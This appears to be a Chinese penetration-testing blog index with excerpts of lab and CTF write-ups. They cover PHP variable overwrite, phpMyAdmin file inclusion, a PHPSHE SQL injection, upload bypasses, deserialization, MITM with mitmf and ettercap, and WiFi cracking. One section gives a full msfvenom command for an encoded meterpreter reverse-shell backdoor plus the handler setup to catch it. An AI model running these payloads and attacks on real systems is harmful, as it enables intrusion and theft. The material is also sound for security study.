变量覆盖漏洞
0x00 变量覆盖我们传递进去的值会覆盖掉程序中的原有值,就是一个变量覆盖。
常见的变量覆盖的地方:
1、$$使用不当 (将用户传递的参数当做一个变量)
2、extract()使用不当
3、parse_str()使用不当
4、import_request_variables()使用不当
5、开启了全局变量覆盖(基本没有)
0x01 危害利用变量覆盖漏洞仿造session进行用户登录或者进入后台、拿webshell等
0x02 代码审计以 DuomiCms X2.0 影视管理系统为例
下载源码,全局搜索 $$
定位到 duomiphp/common.php 文件
第2行,用$_REQUEST获取的传参,并且进行键值分离
第4行,进入if()需要同时满足三个条件:传参的长度大于0,出现cfg_或者GLOBALS,在COOKIE中有这个参数
第6行,发现exit(),而为了利用变量覆盖漏洞,必须要避开第4行的if()
所以只需要任意一个条件不满足就可以避开exit()
第28行,使用了$$,并且在第26行接收了GET、POST、COOKIE传参并存入$_request ...
任意文件包含漏洞
0x00 文件包含文件包含,被包含的文件都会当做PHP执行
本身并不是一个漏洞,当被包含的文件可控时,才是任意文件包含漏洞
本地文件包含 LFI:包含自己服务器上的资源
远程文件包含 RFI (php默认不开启):需要设置allow_url_include = On通过HTTP协议包含其他地方的资源
影响函数:
include(“check.php”); 出错不会影响后面代码
require(“check.php”); 出错不会往下执行
include_once(“check.php”)、require_once(“check.php”):检测文件是否被包含过,包含过则不再包含
0x01 代码审计以phpMyAdmin 4.8.* 任意文件包含漏洞(LFI)为例
下载phpmyadmin 4.8.1的源码进行审计,查找任意文件包含漏洞
直接全局搜索 include
看到前面出现include()函数的地方都已经具体写了被包含的文件,没有可以控制的地方
而
1include $_REQUEST['target']
处则用REQUEST形式获取了传 ...
CVE-2019-9762 SQL注入
CVE-2019-9762:在PHPSHE 1.7中,include/plugin/payment/alipay/pay.php文件,order_table()函数获取传参id的值,处理后直接将返回值拼接到SQL语句中,表名可控,造成SQL注入
进入主页面,注册账号并登录
定位到存在注入的文件,在个人中心,充值板块,使用支付宝充值
输入充值金额,用Burp抓包,点击提交
先抓到user.php?mod=pay这个包,放掉,会抓到第二个跳转请求pay.php?id=pay_200104154452484,发到Repeter
改id的值为
pay` and 1=1#_
(注意pay后面不是单引号)
根据Response返回包的长度,测试出字段数为12,回显点在3
把3换成database(),得到数据库
msfvenom后门生成与利用
msfvenom生成木马后门拿反弹shell靶机:Windows 10、关闭Windows defender
生成后门
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=10.101.0.139 lport=1234 -f exe > backdoor.exe
配置并监听
启动metasploit
msfconsole
选择监听模块
use exploit/multi/handler
配置参数
set payload windows/meterpreter/reverse_tcp
分别设置LHOST为10.101.0.139和LPORT为1234
和生成的后门配置对应
运行
exploit
此时会监听本机的1234端口
在靶机上运行backdoor.exe
反弹shell成功
PS:1、反弹shell乱码:设置终端编码为GBK2312解决
2、经常获取shell成功但是session马上关闭
是因为Windows defender虽然关闭,但还是会隔离掉后门文 ...
upload-labs 文件上传靶场
upload-labs 文件上传靶场1.Pass-01(前端验证绕过)上传一个php文件,提示
用burp抓包发现并没有发送数据包
判断是前端验证
上传一个图片马
burp抓包,把文件名jpg改成php
用蚁剑连接成功
2.Pass-02(Content-Type方式绕过)
burp抓包,改请求头中的Content-Type为image/jpeg
连接成功
3.Pass-03(黑名单绕过)burp抓包改后缀名为php3或phtml,绕过黑名单过滤
4.Pass-04(.htaccess文件绕过)先上传.htaccess文件,将jpg格式当作php解析
再上传图片马
5.Pass-05(后缀大小写绕过)burp抓包,文件名后缀改为phP上传
6.Pass-06(文件后缀(空)绕过)burp抓包,在文件后缀名最后面添加一个空格
7.Pass-07(文件后缀(点)绕过)burp抓包,在文件名后缀最后面添加一个”.”
Windows特性,会自动去掉文件名最后面的”.”
8.Pass-08(::$DATA(Windows文件流绕过))Burp抓包,在文件后缀名后面添加”::$D ...
反序列化漏洞
0x00 序列化序列化(seralize)是指将对象的状态信息转化为可存储和传输的字符串形式,并保存在存储区中,当以后需要这个对象时,可以通过序列化的字符串来恢复这个对象的状态信息。
可以简单理解为将 对象、类、数组、变量、匿名函数等信息转换成字符串形式,便于存储。
通过以下代码展示了一个序列化的过程:
12345678910111213141516<?phpClass readme{ public function __toString() { return highlight_file('Readme.txt', true).highlight_file($this->source, true); }}$s = new readme();$s->source = "flag";$s = serialize($s); //序列化echo $s;?>
运行结果:
0x01 反序列化漏洞在序列化的基础上,将字符串信息恢复成状态信息的过程称为反序 ...
hackinglab-解密关Writeup
hackinglab-解密关1. 以管理员身份登录系统
在重置密码成功页面获得Tips
看链接
/reset.php?sukey=79804c0ea4d2a961fbfd2cff08664098&username=123
GET提交的参数中,sukey应该是验证,username提交要重置密码的账户名
对sukey进行md5解密
是unix时间戳
可能是你向服务器提交重置username密码的请求,服务器会给你一个sukey,并且会记录下sukey和username的值。当点击包含sukey和username参数的重置链接后,服务器会接收sukey和username,然后和服务器记录的进行匹配,当username和sukey都符合后,重置密码成功。
接下来就可以伪造sukey重置admin了
大致思路:
sukey=md5(int(time()))
先抓个包看看服务器时间
发现比北京时间慢了八个小时,转成时间戳就是慢了28800
方法一:在重置密码界面输入账户名admin,点击提交,并且记住提交时刻的时间戳x
对x-28800进行md5加密,得到重置admin账户的s ...
kali内网攻击-mitmf
使用mitmf进行内网攻击mitmf是一款中间人攻击工具
替换图片:在/var/www/html/下放入图片
mitmf -i eth0 --spoof --arp --gateway 192.168.5.1 --target 192.168.5.202 --imgrand --img-dir /var/www/html/
对目标浏览器截屏:
mitmf -i eth0 --spoof --arp --gateway 192.168.5.1 --target 192.168.5.202 --screen mitmf -i eth0 --spoof --arp --gateway 192.168.5.1 --target 192.168.5.202 --screen
aircrack-ng爆破WiFi密码
aircrack-ng爆破WiFi密码aircrack-ng无线密码暴力恢复工具,支持WEP和WPA类型无线网络。总结:抓取wifi连接包暴力破解密码,简单,效率较低。
抓取到适量的Wi-Fi连接数据包后
列出数据包中找到的SSID
aircrack-ng wifi-crack.cap
选择网络,加载字典进行爆破 aircrack-ng -e hackinglab -b 54:E6:FC:53:E6:D0 -w passwd.txt wifi-crack.cap
爆破成功
kali内网攻击-ettercap
kali内网攻击-ettercapettercap是一款arp嗅探欺骗工具,通常用来中间人攻击。
启动ettercap GUI界面
ettercap -G
选择Sniff -> Unified sniffing
添加网卡![1.png][1]
列出扫描到的主机列表:选择Hosts -> Hosts list
分别将目标主机和网关设置为target 1和target 2
Mimt 选择进行中间人攻击
[1]: uploads/2020/03/2474481063.png [1]: uploads/2020/03/2474481063.png